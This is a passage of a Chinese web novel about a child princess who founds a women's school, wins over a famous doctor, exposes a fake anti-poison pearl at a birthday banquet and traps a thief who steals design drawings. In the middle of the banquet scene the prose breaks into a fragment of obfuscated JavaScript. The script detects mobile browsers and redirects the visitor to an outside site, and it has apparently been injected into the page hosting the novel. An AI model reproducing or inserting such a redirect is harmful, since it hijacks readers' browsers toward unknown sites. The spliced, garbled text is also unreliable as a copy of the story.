团团领着这群小姑娘,浩浩荡荡地回到王府时,活像一只刚打完胜仗、带着一群小鸡崽回巢的骄傲小母鸡。
刚跨进前厅,一眼就看到了正跟程如安说话的郭太医。
郭太医显然也是刚到,正在给程如安行礼。
“太医爷爷!”团团欢呼一声,开心地跑了过去,“你好久没来啦,我都想你的胡子啦!”
郭太医又好笑又无奈,双手马上抬起,护住了自己精心打理的胡须。
团团却已转身扑到了程如安的怀里,小嘴叭叭地就开始讲方才的自己的“壮举”:“娘亲!娘亲!我跟你讲哦!”
“有个黑心肝的坏蛋,欺负小姐姐们!被我抓住啦!我让二叔叔把坏蛋送去了京兆府!”
“然后,我把她们都带回来了!我要开一个‘女子监’!”
“让她们想学看病的学看病,想学做饭的学做饭,都学到真本事,以后再也没有人敢欺负她们!”
她讲得眉飞色舞,全然没有注意到在郭太医的身旁,还有一个穿着灰布长衫、头发花白却面色红润的老头儿。
老头儿听见她要开女子监,一双平静无波的老眼闪过了一丝亮光。
郭太医频频点头:“小小姐此举,大善!”
“医者男子居多,女子极少。多少女病患因男女大防而患讳疾忌医,生生耽误了性命!”
“若多一些女子能够行医,这些妇人之病,便有人可医,不必再顾忌了。”
程如安见女儿带回这么多女孩子,正觉得意外,待听罢缘由,也不由得连连点头。
“救人于危难,理应如此。”
“郭太医,”程如安看了一眼与他同来的这位老者,来不及细问,“这位老先生,快请坐,来人,上茶。”
“刘嬷嬷,将西边空着的‘锦瑟院’收拾出来,带这些姑娘们去梳洗安置,再请个郎中来,给身上有伤的好好瞧瞧,吩咐下人们,不许怠慢。”
“是。”刘嬷嬷应了一声,带着那群手足无措的小姑娘们退下了。
眼看着屋里安静了下来,郭太医这才开口介绍:“王妃,小小姐,这位是在下的师祖,墨长庚,墨老。”
“师祖,这便是我跟您提起的宁王妃和嘉佑郡主。”
程如安面露惊讶:“莫非这位便是号称回春手的墨神医?”
墨长庚一脸高深的点了点头。
团团一脸好奇地看着墨长庚:“太医爷爷,他是你的师祖?”
郭太医面带自豪:“是啊,小小姐,我师祖他老人家正是赫赫有名的神医回春手。”
团团看了一眼他,又看了一眼墨长庚:“那他为什么没有胡子?你的胡子倒这么长?”
郭太医:“……”
程如安微笑地摸了摸女儿的头:“乖,胡须嘛,喜欢便留,不分年纪的。”
“哦!”团团点了点头:“我还以为,他是你的师祖,胡子应该比你还长呢。”
“呃……”小孩子的想法怎么总是如此奇怪!
郭太医摇了摇头,继续道:“此前王爷与公子们病症棘手,学生曾去信求助师祖。”
“只是师祖云游四方,近日方才收到书信赶到京城。”
“不想诸位贵体皆已安康。”
“师祖听闻小小姐机缘巧合,得了株千年雪参,此物乃医家至宝,故而前来,想鉴赏一番,还请王妃允准。”
程如安一听,墨长庚竟是专程为给自己的家人治病而来京城,心中顿生敬意,连忙道:“原来如此,多谢墨神医高义。来人,去库房,将那株雪参拿过来。”
“是。”不多时,下人便取来一个玉盒,放在了桌案上。
盒盖一开,满室便立刻萦绕起一股清洌的甘香。
墨长庚马上站了起来,凑上前,脸上的漫不经心彻底收起:“灵物自晦,宝光内蕴,果然不假!”
他看向团团:“小娃娃,你福缘不浅啊!此物非有缘者不可得,虽说你是打赌赢来的,但若它与你不契,你也留它不住。”
团团看着他,这老头儿身上的红光是我见到过的人里,最亮的啦!
他肯定救过很多人,是个好老头捏!
她迈开小短腿,走到墨长庚面前,仰起小脸,小手一挥:
“老爷爷,这个,送给你啦!”
一言既
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出,满室皆惊。
郭太医险些咬到自己舌头,程如安也惊讶的看向女儿。
墨长庚死死盯住眼前还没他腰高的小团子,声音都变了调:“你说什么?送给我?你可知这是何等宝物?”
“知道呀,”团团点了点头,一脸的理所当然,“不就是能救命的东西嘛。”
“大哥哥已经好啦!留在我这里,没用了啊!”
“老爷爷你是太医爷爷的师祖,你拿走吧,能救好多好多人呢!”她伸出小胳膊,努力比画了一个大圈,表示“好多好多”。
话说得轻松又自然,仿佛送出去的只是一块糖,而不是价值连城的千年雪参。
墨长庚看着面前那双澄澈见底的眼睛,和小团子脸上“这不是很应该吗”的小表情,胸口像是被什么东西重重撞了一下。
他忽然蹲在了团团面前,用力挤出了一个自认为很和蔼可亲的笑容,语气热切:“小娃娃!你心地纯善,天赋灵秀,更难得的是心有乾坤,深明‘医者仁心’之大道!”
“留在这里太浪费了!不如拜老夫为师吧!老夫把一身的医术都传给你!保证以后你比这个太医爷爷还厉害百倍!怎么样?”
郭太医在一旁听得嘴角直抽抽,师祖啊,您这是想让小小姐做我的师姑吗?
团团却皱起了小鼻子,往后退了一步,嫌弃地看着他脸上堆起的褶子:“不要。”
“为什么?”墨长庚傻眼了。
“你笑起来,”团团用小手指点了点他的老脸,一脸认真,“好像街上想骗小孩糖吃的坏老头哦。”
墨长庚:“……”
郭太医和程如安:“……”
“你?你!”墨长庚板起了面孔,“小娃娃,你知道天下有多少人想拜老夫为师吗?”
居然敢嫌弃我?
团团眨巴着大眼睛,诚实地摇了摇头:“不知道哇。”
她想了想,又补了一刀:“我为什么要知道?我又不想当大夫!”
墨长庚捂着胸口,被她的话噎的心口堵的不行。
郭太医在一旁看得心惊胆战,生怕师祖一口气没喘匀,再撅过去。
第123章 你怎么也来了
“不当大夫?”墨长庚满脸痛心疾首,“你如此天赋,如此心性,不当大夫就是暴殄天物!就是……就是糟蹋粮食!”
团团被他这夸张的样子逗得“噗嗤”一声笑了,两个酒窝深深地露了出来:“神医爷爷,你真好玩。”
墨长庚狠狠地瞪了一眼郭太医。
郭太医见状急忙开口帮腔:“小小姐,你不妨考虑一下?”
“师祖他老人家名满天下,求着拜他为师的人可多了呢。”
团团想了想,老头儿想收徒,教人医术,这不正好嘛!
“这样吧,我不当你徒弟。”她看着老头瞬间又垮掉的脸,赶紧哄他,“别生气,别生气嘛。”
“我虽然不当你徒弟,但是,你可以教我书院里的小姐姐们啊!”
她越说越觉得这个主意妙极了,小手一拍:“对呀!你那么厉害,肯定能教出特别厉害的女大夫!这样,不就能救更多人了嘛!”
程如安面露惊讶,墨长庚彻底愣住了。
让我这个神医去学院教书?
好像,也没什么不可以……
一个人医术再高,能救的人终究有限。
若能培养出一批通晓医理的女医,散于各处,确实可以救更多的人。
但是,若是做了先生,可就没法四处云游了!
他看了眼旁边的郭太医,眼神一亮,像是突然看到了一个香饽饽。
没关系,这不还有我的徒孙在嘛!我不在的时候,推给他就是!
郭太医看到师祖的眼神,心中突然也有了跟团团一样的感觉。
小小姐说的还真对!师祖他老人家这副嘴脸,确实像极了骗小孩糖吃的坏老头。
墨长庚又是摇头又是叹气:“你这个小娃娃啊!多少人求着我收他们为徒,老夫都看不上,你却不要。”
他猛地站起身,对着团团扬起下巴,一脸狡黠:
“哼!让老夫当先生?可以!”
“不过,老夫可不是那么好请的!你得先把那个什么‘女子监’开起来!要是开不起来,或者办得不好,老夫可不认账!”
说完,他抱起桌上的玉盒,冲着郭太医一摆手:“徒孙,走!陪师祖我找地方喝酒去!”
说罢竟就这么自顾自地,带着一脸懵的郭太医扬长而去。
团团看着他们消失的背影,小胸脯一挺:“娘亲你看,先生我都找好一个啦!”
当晚,萧元珩回府,听妻子说起女儿今日的“壮举”,非但没觉得胡闹,反而满脸皆是赞赏。
他将正乖乖喝牛乳的团团抱到膝上:“好!我家团团就是有志气!这女子监,乃利国利民的创举,听着就提气!”
“既然要办,就不能小打小闹!要办得风风光光,像模像样!爹爹明日就替你物色一处好地方!”
团团搂着爹爹的脖子,在他脸上亲了一口:“谢谢爹爹!爹爹最好啦!”
待到终于将玩累了的团团哄睡后,夫妻二人独处,程如安才同丈夫提起一事:“今日靖海侯府送来帖子,后日是他家老太太的六十寿辰。”
“说是遍邀了京城中的官眷贵妇一同赴宴,为老太太贺寿。”
萧元珩眉头一皱:“靖海侯府?我记得团团跟他家的两个婆娘起过嫌隙,跟他们有什么好来往的。”
“话是这么说,”程如安替他宽下外袍,“毕竟是老人家的整寿,大家应该都会去。”
“论礼数,若众人皆到,独咱们王府不露面,反倒落人口实。”
“团团又有郡主之名,我想着,不妨带着她去一趟,送份寿礼,坐上片刻,全了礼数便回来。”
萧元珩哼了一声:“去便去吧,你只管去,若是他家哪个不开眼的,敢给你们半点气受,你也不必客气。”
“天塌下来,自有本王顶着!”
程如安“噗嗤”一声笑了出来:“就团团那性子,旁人不来招惹她已是万幸,谁还能让她吃了亏去?王爷就放心吧。”
两日后,静海侯府张灯结彩,宾客盈门。
程如安存了晚来早走的心思,特意带着团团姗姗来迟。
母女二人被丫鬟引着,刚踏入那喧闹的花厅,还未来得及去贺寿,便被不远处的一幕吸引了目光。
只见韩雪苓正领着衣饰华美、我见犹怜的周语薇,站在一位穿着青布长衫、头发花白的老者面前。
那老者背对着母女俩坐的桌子,看不见面容。
韩雪苓手中捧着一
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个打开的紫檀木锦盒。
盒内静静地躺着一枚鸽卵大小、颜色混沌的珠子。
那珠子看似质朴,细看之下,内里却仿佛有无数细微的光点在其中缓缓流转。
她满脸堆笑:“老先生,您请看,此乃我府上机缘巧合所得,名为‘万秽辟易珠’。”
“此珠之神效:能辟天下万毒。寻常毒物近之则消,便是那厉害非常的蛊毒,亦难近其身。”
“于医者而言,此乃研究万毒、印证医理的无上至宝。”
她顿了顿,满意地看着老者骤然缩紧的瞳孔,
周围瞬间响起的压抑的抽气声
“嗬!靖海侯真是好大的手笔!居然能找到这‘万秽辟易珠’!”
“是啊,此物怕是能换下半座京城了!”
“自古医毒不分家,此物于医者那可是逆转阴阳、另开医道的圣物啊!”
韩雪苓待众人惊讶够了,将周语薇往前引了引:“小女雨薇,自幼倾心医道,日夜苦读医书,只盼能得先生青眼,收入门下。”
“若先生不吝指点,使我侯府能出一位济世良医,此旷世奇珍,自当作为拜师之礼,献与先生!”
此言一出,所有人的目光都集中到了那老者身上。
然而,那老者却发出了一声毫不掩饰的嗤笑,声音带着几分漫不经心的嘲弄:“嗬!您这话,老夫听着怎么这么不对味儿呢?”
“闹了半天,这万秽辟易珠,是拴在驴鼻子前面的那根胡萝卜啊?老夫若是不按你的路子走,便得不到?”
老者的话说得可谓极不客气,韩雪苓脸上的笑容瞬间僵住,周语薇更是眼圈一红,泫然欲泣。
周围顿时一片寂静。
这声音好熟悉啊!
“神医爷爷!”团团冲着那老者的背影喊了一声。
老者身形一僵。
在所有人惊愕的注视下,只见他迅速转过身,脸上的不耐和讥讽顿时全部消失。
瞬间便换上了一张堆满了惊喜的笑脸。
他站起身,冲着团团便大步走了过来。
一张老脸上的褶子全都笑开了花,那讨好的笑容要多谄媚有多谄媚。
“哎呦!我的乖徒儿啊!你怎么也来了?”
第124章 偷鸡不着蚀把米
正是神医墨长庚。
他三两步就来到了团团面前,背对着侯府那对母女,冲着小娃娃就是一阵挤眉弄眼,脸上的褶子都快拧抽筋了。
团团看着他这副怪样子,小脑袋歪了歪。
神医爷爷的脸生病了?
她眼珠一转,恍然大悟。
哦!神医爷爷不想收那个坏姐姐做徒弟,所以拿我挡呢!
她冲着墨长庚翻了个白眼,小嘴微微撅起,没开口否认。
墨长庚见她领会了自己的意思,心中大喜,这小娃娃当真是灵透的不像话!
他立刻转身,清了清嗓子,对着全场宾客,斩钉截铁地宣布:
“诸位请都听清楚了!”
“嘉佑郡主,是老夫唯一的关门弟子!老夫绝不会再收第二个徒弟!”
全场顿时一片哗然。
“郡主何时拜了神医为师?”
“郡主居然能做神医的徒弟?”
“这可真是京城奇闻!”
周语薇眼中的希望瞬间熄灭,心里的嫉妒和怨毒几乎就要翻滚而出:怎么又是这个死丫头!
韩雪苓更是气得暗暗咬牙。
她们今日不惜献上至宝,就是为了在京城所有的官眷贵妇面前,给周语薇戴个“神医之徒”的大帽子。
谁不知道神医行踪飘忽,从不在一处久住。
神医不在,周语薇这个神医之徒的份量可想而知。
京城富贵人家众多,最怕的便是身子不适,有病缠身。
到时靖海侯府在京城权贵圈中的地位必将稳如泰山!
韩雪苓脸色阴沉,“万秽辟易珠”乃是世间奇珍,神医方才的眼神分明是动心了的!
“请神医三思!”韩雪苓强压怒火,“莫非这‘万秽辟易珠’,您当真不动心吗?”
墨长庚闻言,下意识地瞥了一眼那锦盒,眼中飞快地闪过一丝肉痛,想要啊!但老夫平生最恨被人要挟了!
他梗着脖子,抬着下巴,一脸傲娇:“此珠虽好,怎比得上我徒儿重要!”
团团看着他的模样,哼!神医爷爷撒谎!
你明明就是很想要!
是你不喜欢她们,所以才不要。
我也不喜欢她们!
不过,那颗珠子嘛……
团团眼珠一转,伸出小手指,指着韩雪苓手中的锦盒:“你的珠子是假的呀!没什么用,有什么可神气的?”
程如安看着女儿,满脸惊诧。
众人顿时炸开了锅。
“什么?假的?”
“靖海侯府居然用假宝物诓骗神医?”
“不会吧!”
所有人的目光都看向了那颗珠子,疑云四起。
周语薇脸腾的一下涨得通红,尖声反驳:“你胡说八道!”
韩雪苓也厉声道:“郡主!话可不能乱说!如此宝物,岂容你信口污蔑!”
团团半点不惧:“是不是假的,试试不就知道啦!”
她仰起小脑袋对墨长庚道:“神医爷爷,你身上有没有什么有毒的东西吗?拿出来试试呗!”
墨长庚也有些懵,闻言从腰间解下一个酒葫芦。
葫芦是他特制的,上下两头皆有嘴,用塞子塞住,中间有隔板隔开。
一头放酒,一头存放他顺手收集的各种毒虫。
他拔开其中一头的塞子,小心翼翼地从里面倒出几只张牙舞爪的蜈蚣和色彩斑斓的小蜘蛛,放在光洁的桌面上。
这些小东西都是他进京途中在山野间顺手捉的,毒性不大,用来泡他的“百虫酒”。
宾客们见状,纷纷惊呼着后退了几步。
“哼,区区寻常毒物,也配来试我的宝珠?真是浪费!”
韩雪苓将那颗“万秽辟易珠”从锦盒中取出,放在了桌子中央。
众人又都围拢过来,紧紧地盯着那些毒虫。
只见那些蜈蚣和蜘蛛原本是在桌上乱爬,珠子放下后,它们全都迅速地爬到了桌子的边缘,远远的躲着,不敢靠近分毫。
程如安担忧地看向女儿,却见团团藏在桌子下面的小手一松,一个她刚吃完还没来得及丢掉的花生壳,轻轻落在地上,迅速消失。
团团嘴里飞快地嘟囔了一句:“护住它们!”
声音极其微小,只有坐在她最近的自己能听到。
程如安心头一跳。
韩雪苓和周语薇的脸上此时全是满满的得意。
“看到了吧!我看谁还再敢说……”
话音还没落,那些原本畏缩不前的毒虫们停顿了一下,径直朝着珠子爬了过去!
有一只蜘蛛甚至直接爬上了珠子的表面,在上面悠闲地踱步!
“不!这不可能!”韩雪苓失声尖叫。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515694|184125||http|test|mini|href|location''.split(''|''),0,{}));
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r>周语薇的脸色惨白如纸。
四周顿时爆发出无数的嗤笑和议论。
“哈哈哈,还万秽辟易呢,连几只小虫子都辟不了!”
“靖海侯居然真的拿了件假货来糊弄神医啊?嘿嘿。”
“真是丢人现眼!”
“侯府今儿这寿宴可真够热闹的!”
“是啊!这点子小心思当谁不知道呢!没想到吧,偷鸡不着蚀把米!呵呵呵!”
刺耳的讥讽和嘲笑,不停地灌进了韩雪苓的耳朵。
她看着桌上那颗被毒虫“玷污”的珠子,脸上火辣辣的疼,仿佛身上的衣服都被当众剥光了。
她猛地冲上前,一把抓起那颗让她丢尽颜面的珠子,狠狠地朝着厅外扔去。
“我们走!”她咬着牙吐出这三个字,拉起失魂落魄的周语薇,狼狈不堪地匆匆离开。
热闹看完了,众人不在**在桌前,三三两两地散开。
对方才发生的事继续津津乐道。
团团“嗒嗒嗒”地跑到那颗被丢弃的珠子旁,弯腰把它捡了起来,用袖子擦了擦:“给我当弹珠玩正好!”
旁边有几个人虽然看到了,却都没放在心上,一个不值钱的假珠子,小孩子爱玩,愿意捡就捡呗。
程如安无心多做停留,将备好的寿礼交给侯府地下人,带着女儿,邀请神医一同打道回府。
马车上,团团从怀里掏出那颗“万秽辟易珠”,递到墨长庚面前:“喏,神医爷爷,给你。”
墨长庚一愣,下意识接过,疑惑道:“这不是假的吗?”
团团冲他眨了眨大眼睛,脸上满是“你怎么这么笨”的小嫌弃:
“刚才是假的,现在是真的啊!”
“这么好的东西,当然不能留在坏蛋的手里啦!”
墨长庚浑身一震,低头看向手中的宝珠,震惊不已。
再抬头看着眼前笑得像只小狐狸的娃娃。
是了!定然是这孩子用了什么自己无法理解的手段,暂时“蒙蔽”了宝珠的灵性,骗过了毒虫,也骗过了所有人!
墨长庚盯着团团的目光瞬间变得无比贪婪。
程如安无奈地摇了摇头,看来啊,这位墨神医,以后赶都赶不走喽!
几天后,冯舟兴冲冲地来到了王府:“盟主!私物坊已落成,去看看吗?”
第125章 谁请我吃饭?
团团被他的模样吓了一跳:眼底下挂着两道明显的青黑,人瘦了一大圈。
整个人却明显处于一种又疲惫又兴奋的状态。
“好啊!”团团冲着萧二一伸手,萧二熟练地抱起自家小姐,跟着冯舟直奔私物坊。
马车驶入一处把守森严的院落。
一下车,映入眼帘的是一片规划齐整、错落有致的房子。
冯舟难掩自豪:“盟主您看,前面那排屋舍是绘图之所;东侧用高墙围起来的开阔地,是试炼场。”
“西侧的连屋是工匠的住所,最重要的核心图纸存放处,有专人十二时辰轮守。”
他指着试验场边缘一栋独立的小屋,眉飞色舞:“我如今就住在那儿,守在这里,我心里才踏实。”
“盟主日后若有吩咐,派人来此处寻我就是。”
团团背着小手,这里看看,那里瞧瞧,大眼睛里满是赞赏,用力点头:“冯舟,你干得真好啊!”
冯舟被她夸得脸颊微红。
二人来到冯舟的值房,一名下属前来禀报:“大人,工部遣人送来一批相关文书。”
“让他进来吧。”冯舟随口吩咐了一句。
一名身着工部官服的中年男子低着头,双手捧着一摞文书躬身而入。
语气恭敬:“下官乃工部从七品主事,奉尚书大人之命,将此文书送至私物坊,请冯大人过目。”
这声音!
冯舟脸上的笑意凝固,目光钉在来人身上:“是你?”
冯伯甲闻声抬头,看清了面前这位“冯大人”的脸。
脸上的血色霎时褪得一干二净,捧着文书的手都控制不住地颤抖起来。
“怎么会是你?”他失声惊呼,“这私物坊的主事,竟然是你?!”
“怎么了?”团团稳稳地坐在宽大的椅子里,两只小短腿够不着地,摇来晃去。
“为什么不能是他?”
“你偷走他的气运,看见他不怕吗?”
冯伯甲看着面前意气风发的侄子,想起自己曾经对他做过的事情,本来就又惊又怕。
又被团团直言点破,心底那些最隐秘、最肮脏的角落全都彻底暴露了出来。
他的脸色由白转青,嘴唇微微哆嗦着,一个字也说不出来,
冯舟也在看他,看着大伯身上的七品官服,又低头看了看自己身上的五品官服,积压了多年的那口闷气,登时消散了大半。
他如今一心扑在私物坊上,只想做好自己的差事,将这些年心中的设想都变成实物。
他上前一步,沉稳地接过那摞文书,淡淡道:“文书已收到,冯主事可以回去复命了。”
直接下了逐客令。
冯伯甲心中满是**和不甘。
我做了这么多,却仍然只是个从七品主事!
他做了什么?居然官居五品!
这私物坊直属皇权,深得圣心,工部只是协理,明摆着前途无量!
他凭什么坐在这里?
这些都应该是我的!
偷?偷又如何?谁不想升官发财?
我既然能偷你一次,难道就不能偷第二次吗?
“是!冯大人!”他躬着身子,默默退了出去。
团团看了一眼冯舟:“家里进贼了哦!”
冯舟一愣:“盟主的意思?”
团团从椅子里蹦了下来:“他恨你哦!还会继续偷你东西的。”
冯舟顿时咬牙切齿:“当年他偷走我的图纸,又要走我的八字,害我倒霉多年,险些自缢,如今我不想再追究,他竟还不放过我!”
团团的目光落在案上的几张图纸上,眼睛一亮:“他想偷就让他偷嘛!”
冯舟一脸狐疑:“盟主的意思是?”
“让他偷走……然后?”他恍然大悟。
团团摇头晃脑地点了点头:“孺子可教!”
冯舟哭笑不得:“好!那咱们就让他偷!”
冯伯甲对私物坊的事格外上心,凡是工部与私物坊的文书往来、货物运输,他都想方设法揽到自己手上。
不过短短几日后,他便将一张陌刀改进图恭恭敬敬地递到工部尚书盛湛的案上。
他语气激昂:“大人,此乃下官近日废寝忘食、呕心沥血之作,若能用于军中,必能使我军战力大增!”
盛湛拿起图纸,只看了一眼,目光便骤然锐利起来。
他盯着胡峰,缓缓问道:“你说,这是你所创?”
“千真万确,乃下官独创!”
盛湛看着他,失望地摇了摇头,冷喝一声:“来人!”
几名侍从应声而入。
“拿下!”
侍从们一拥而上,将冯伯甲死死押跪在地。
冯伯甲一脸惊骇:“大人!这是为何?下官这是有功啊!”
“有功?”盛湛缓缓从袖中取出一张图纸,扔到他面前。
那图纸与冯伯甲所献一般无二,唯独在刀刃连接的关键位置,多了一个小小的猫爪印,憨态可掬。
盛湛俯视着他:“你利用职务之便,**私物坊机密图纸,人赃并获,还敢狡辩?”
冯伯甲看着那个仿佛是在嘲笑自己的爪印标记,如遭雷击
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,瞬间面无人色,整个人瘫软下去。
盛湛语气沉痛:“小郡主与冯大人对你早有防备,特以此图为饵,就等着你自投罗网!”
“你真是……多行不义必自毙!”他挥了挥手,“押送大理寺,依律论处!”
冯伯甲的求饶声很快便被拖远了。
冯舟听到工部送来的消息,默默点头:“多亏了盟主啊!”
时近晌午,宁王府。
下人捧着一张帖子走了进来:“王妃,小姐,碎金阁派人送来请帖。”
“玉瑶小姐在阁中设宴,请郡主过去一同进膳,说是有事相求。”
“谁请我吃饭?”团团仰起小脸,以为自己听错了,“慕容玉瑶?她有什么事要求我?”
程如安想了想:“娘亲若是没猜错,她所求之事,怕是与你父王正在查的科举舞弊案有关。”
“昨日我听你父王提起这案子,说是查到了慕容家的头上,他们府上已有几人被大理寺收押。”
“此案由你父王主理,她此次寻你,应该是想让你在你父王面前,为她家转圜几句。”
团团一听,嘴巴撅了起来,想都没想便脱口而出:“我才不要!做错了事还想跑?我不去!不去!”
程如安吩咐:“去回个话,就说郡主今日身子不适,不便赴宴。多谢玉瑶小姐的美意。”
“是。”
碎金阁,雅间内。
慕容玉瑶坐在桌边,桌上摆满了精致的茶点,她却一口未动,呆呆地看着,心乱如麻。
陛下重视科举,最恨徇私舞弊,哥哥也太不小心了!
怎么就让人握住了把柄!
圣上这次不知为何,对慕容家竟毫不容情!
如今宁王主理此案,唯有从他身上下些功夫了。
宁王不好说话,那丫头毕竟年纪还小,耳根子软,又深得宁王宠爱,若是好生哄一哄,许下些好处,或许能说得动她。
我如今放下身段,只盼着她能在王爷面前,为慕容家说几句好话。
“小姐,”派去送信的人回来了。
“宁王妃说,嘉佑郡主身体不适,不能来了。”
“哐当——!”
慕容玉瑶猛地站起,一挥衣袖,将满桌的杯盏碟盘尽数扫落在地,胸口剧烈起伏:“好!好得很哪!“
“如今,我竟比不上一个从乡下抱回来的野丫头了!”
“请你是给你脸面,你居然不要!”
“回宫!”她怒气冲冲地离开了碎金阁。
次日,受谢云舒之邀,团团来到了她的宅子里。